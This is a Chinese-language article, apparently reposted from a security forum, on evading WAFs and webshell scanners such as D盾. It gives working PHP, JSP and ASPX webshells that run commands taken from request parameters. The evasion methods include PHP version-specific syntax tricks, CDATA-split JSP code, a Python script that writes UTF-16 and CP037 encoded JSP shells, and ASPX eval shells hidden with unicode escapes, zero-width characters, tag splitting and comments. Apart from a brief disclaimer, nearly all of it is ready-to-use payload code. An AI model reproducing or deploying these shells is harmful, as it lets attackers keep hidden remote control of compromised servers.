請遵守法律法規,文章旨在提高安全軟體的應變政策,嚴禁非法使用。
0x01 php的免殺
傳統的php免殺不用多說了,無非就是各種變形和外部參數擷取,對于一些先進的waf和防火牆來說,不論如何解析最終都會到達指令執行的地方,但是如果文法報錯的話,就可能導緻解析失敗了,這裡簡單說幾個利用php版本來進行語義出錯的php指令執行方式。
1、利用在高版本php文法不換行來執行指令
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
5.2 版本報錯
5.3 版本報錯
5.4 版本報錯
7.3.4 成功執行指令
2、利用\特殊符号來引起報錯
<?php
\echo `whoami`;?>
5.3 執行指令失敗
7.3 執行指令失敗
5.2 成功執行
3、十六進制字元串
在php7中不認為是數字,php5則依舊為數字,經過測試 5.3 和5.5可以成功執行指令,5.2和php7無法執行。
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
7.3 指令執行失敗
5.2 指令執行失敗
5.3 指令執行成功
除此之外,還有很多種利用版本差異性來bypass一些沒有對所有版本進行檢測更新的所謂的"先進waf"。
當然,對于我們可以結合垃圾資料,變形混淆,以及大量特殊字元和注釋的方式來構造更多的payload,畢竟每家的waf規則不同,配置也不同,與一些傳輸層面的bypass進行結合産生的可能性就會非常多樣。
例如:
7.0版本的??特性,如果版本為5.x的話就會報錯,可以結合一些其他的方式吧
<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
0x02 jsp的免殺
本人對java研究的不是非常深入,是以主要分享的還是平時收集的幾個小tips,如果有沒看過的師傅現在看到了也是極好的,java unicode繞過就不再多言。
0、小小Tips
jsp的字尾可以相容為jspx的代碼,也相容jspx的所有特性,如CDATA特性。
jspx的字尾不相容為jsp的代碼,jspx隻能用jspx的格式。
1、jspx CDATA特性
在XML元素裡,<和&是非法的,遇到<解析器會把該字元解釋為新元素的開始,遇到&解析器會把該字元解釋為字元實體化編碼的開始。
但是我們有時候有需要在jspx裡添加js代碼用到大量的<和&字元,是以可以将腳本代碼定義為CDATA。
CDATA部分内容會被解析器忽略,此時ameter依舊會與getPar拼接成為getParameter。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如:String cmd = request.getPar<![CDATA[ameter]]>("shell");
2、實體化編碼
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
3、利用java支援其他編碼格式來進行繞過
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
可以看到對于D盾的免殺效果還是非常好的。
0x03 aspx的免殺
aspx免殺的方式相對于PHP和java的較少,這裡列出5種方式來bypass進行免殺
unicode編碼
空字元串連接配接
<%%>截斷
頭部替換
特殊符号@
注釋
我們以一個普通的冰蠍馬作為示例
<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
這一步無需多言,一定是會被D盾所清除的
1、unicode編碼
例如eval他可以變為\u0065\u0076\u0061\u006c,經過我本地的測試,它不支援大U和多個0的增加
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
2、空字元串連接配接
在函數字元串中插入這些字元都不會影響腳本的正常運作,在測試前需要注意該類字元插入的位置,否則插入錯誤的地方會産生報錯
\u200c
\u200d
\u200e
\u200f
3、使用<%%>文法
将整個字元串與函數利用<%%>進行分割
<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
4、頭部免殺
之前有遇到過檢測該字段的<%@ Page Language="C#" %>,這個是辨別ASPX的一個字段,針對該字段進行免殺%@Language=CSHARP%,很久之前修改為這樣就過了,同樣的,可以修改為
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将該字段放在後面,不一定要放前面等
5、使用符号
如哥斯拉webshell存在特征代碼,可以添加@符号但是不會影響其解析。
(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
6、注釋可以随意插入
如下所示為冰蠍部分代碼,可以與<%%>結合使用效果會更好。
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
from https://xz.aliyun.com/t/10937